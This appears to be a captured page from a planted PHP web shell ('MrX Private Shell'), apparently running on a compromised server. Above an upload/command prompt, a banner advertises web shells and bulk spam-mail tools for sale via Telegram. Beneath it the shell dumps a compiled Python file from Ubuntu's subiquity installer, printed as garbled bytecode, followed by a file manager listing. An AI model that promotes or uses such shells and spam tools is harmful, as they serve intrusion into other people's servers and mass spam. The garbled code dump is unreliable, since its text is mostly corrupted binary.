__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
o

K��^b�@sFdZddlZddlmZmZGdd�dejd�ZGdd�dej�ZdS)	aCustom overlay that only takes the space it needs but can still scroll.

There are a couple of dialogs in subiquity that basically have the form:

 +------ dialog title --------+
 |                            |
 | potentially quite long     |
 | block of text that might   |
 | take several lines and so  |
 | need to be scrollable      |
 |                            |
 |  maybe another widget      |
 |                            |
 |       [ OK     ]           |
 |       [ Cancel ]           |
 |                            |
 +----------------------------+

The way urwid works makes doing this nicely hard.  Simply putting the
text in a ListBox "works" but because the listbox is a box widget we
can't let it choose its height: either we'll end up having the text
scrollable in some situations where there is enough space on the
screen to show it all or when the screen is large there will be a
massive ugly space between the text and the following widgets.

Because you can't make a widget that behaves the way we want, this
module gives a way of providing a list of widgets to display in a Pile
and and nominating one of them to be made scrollable. A title, a list
of widgets and index to be scrollable is bundled up into an object
called a "stretchy" but is a bad name but at least easily greppable.
�N)�ListBox�Pilec@s@eZdZddgZdd�Zdd�Zdd�Zed	d
��Zdd�Z	d
S)�Stretchy�opened�closedcCs||_||_||_||_dS)z�
        title: goes in the LineBox
        widgets: list of widgets to put in the pile
        stretchy_index: index into widgets of widget to wrap in ListBox
        focus_index: index into widgets of initial focus
        N)�title�widgets�stretchy_index�focus_index)�selfrrr	r
�r�1/usr/share/subiquity/subiquitycore/ui/stretchy.py�__init__9s
zStretchy.__init__cC�dS)z1Called when the stretchy is placed on the screen.Nr�rrrr
rEszStretchy.openedcCr)z4Called when the stretchy is removed from the screen.Nrrrrr
rIszStretchy.closedcCs|j|jS�N)rr	rrrr
�
stretchy_wLszStretchy.stretchy_wcs0t�|d�fdd��t�|d�fdd��dS)Nrc�
��d�S)Nr)�enterr��contextrr
�<lambda>Q�
z)Stretchy.attach_context.<locals>.<lambda>rcr)Nr)�exitrrrr
rRr)�urwid�connect_signal)rrrrr
�attach_contextPszStretchy.attach_contextN)
�__name__�
__module__�__qualname__�signalsrrr�propertyrrrrrr
r5s
r)�	metaclassc@sHeZdZdZeejg�Zdd�Zdd�Z	e
dd��Zdd	�Zd
d�Z
dS)
�StretchyOverlayTc	s�|�_��_t�jg��_��fdd��t�fdd�t�j�D��}�j|_	t
jt
jt
j
t
jt
j|ddd�dddd	��jd
�ddd�dddd	��_dS)Ncs|�jkrdd�jfSd|fS)N�weight��pack)r	�listbox)�i�w)r�stretchyrr
�entry^s
z'StretchyOverlay.__init__.<locals>.entrycsg|]	\}}�||��qSrr)�.0r(r))r+rr
�
<listcomp>esz,StretchyOverlay.__init__.<locals>.<listcomp>�)�left�rightr%)�relative�d)�top�bottom�height)r�)�bottom_wr*rrr'r�	enumeraterr
�focus_positionr�Filler�Padding�LineBoxr�top_w)rr7r*�
inner_piler)r+rr*r
rYs0�����	�zStretchyOverlay.__init__c
Cs�|\}}t|d�}|d}d}t|jj�D]*\}}	||jjkr qtj|	��vr3|	�|f|�}
||
7}q|	�	d|�}||d7}q||krL||dfdfS|jj
�|f|�}|||krc|||fdfS||dfdfS)N�P��rr%FT)�minr8r*rr	r�FLOW�sizing�rowsr&r)
r�size�focus�maxcol�maxrow�outercol�innercol�
fixed_rowsr(�widgetrE�w_size�stretchy_ideal_rowsrrr
�	_top_sizeus$

zStretchyOverlay._top_sizecCs|jSr)r=rrrr
rG�szStretchyOverlay.focuscCs4|�|d�\}}|p|jj��|jj_|j�||�S)NT)	rPr*r�
selectabler'�base_widget�_selectabler=�keypress)rrF�key�top_size�scrollbar_visiblerrr
rT�s�zStretchyOverlay.keypressc	Cs�|j�|d�}|��r|��st�|�S|�||�\}}|j�||�}t�|�}|d|dd}|d|dd}t�||||�S)NFrr.r%)	r7�render�colsrEr�CompositeCanvasrPr=�
CanvasOverlay)	rrFrG�bottom_crV�_�top_cr/r3rrr
rX�s

zStretchyOverlay.renderN)rrrrS�	frozensetr�BOX�_sizingrrPr!rGrTrXrrrr
r#Us!
r#)	�__doc__r�subiquitycore.ui.containerrr�MetaSignalsr�Widgetr#rrrr
�<module>s
! 

Filemanager

Name Type Size Permission Actions
__init__.cpython-310.pyc File 179 B 0644
actionmenu.cpython-310.pyc File 4.53 KB 0644
anchors.cpython-310.pyc File 1.55 KB 0644
buttons.cpython-310.pyc File 1.6 KB 0644
container.cpython-310.pyc File 12.33 KB 0644
form.cpython-310.pyc File 15.73 KB 0644
frame.cpython-310.pyc File 1.67 KB 0644
interactive.cpython-310.pyc File 3.53 KB 0644
selector.cpython-310.pyc File 7.73 KB 0644
spinner.cpython-310.pyc File 1.63 KB 0644
stretchy.cpython-310.pyc File 5.49 KB 0644
table.cpython-310.pyc File 13.62 KB 0644
utils.cpython-310.pyc File 10.29 KB 0644
width.cpython-310.pyc File 1.1 KB 0644
Filemanager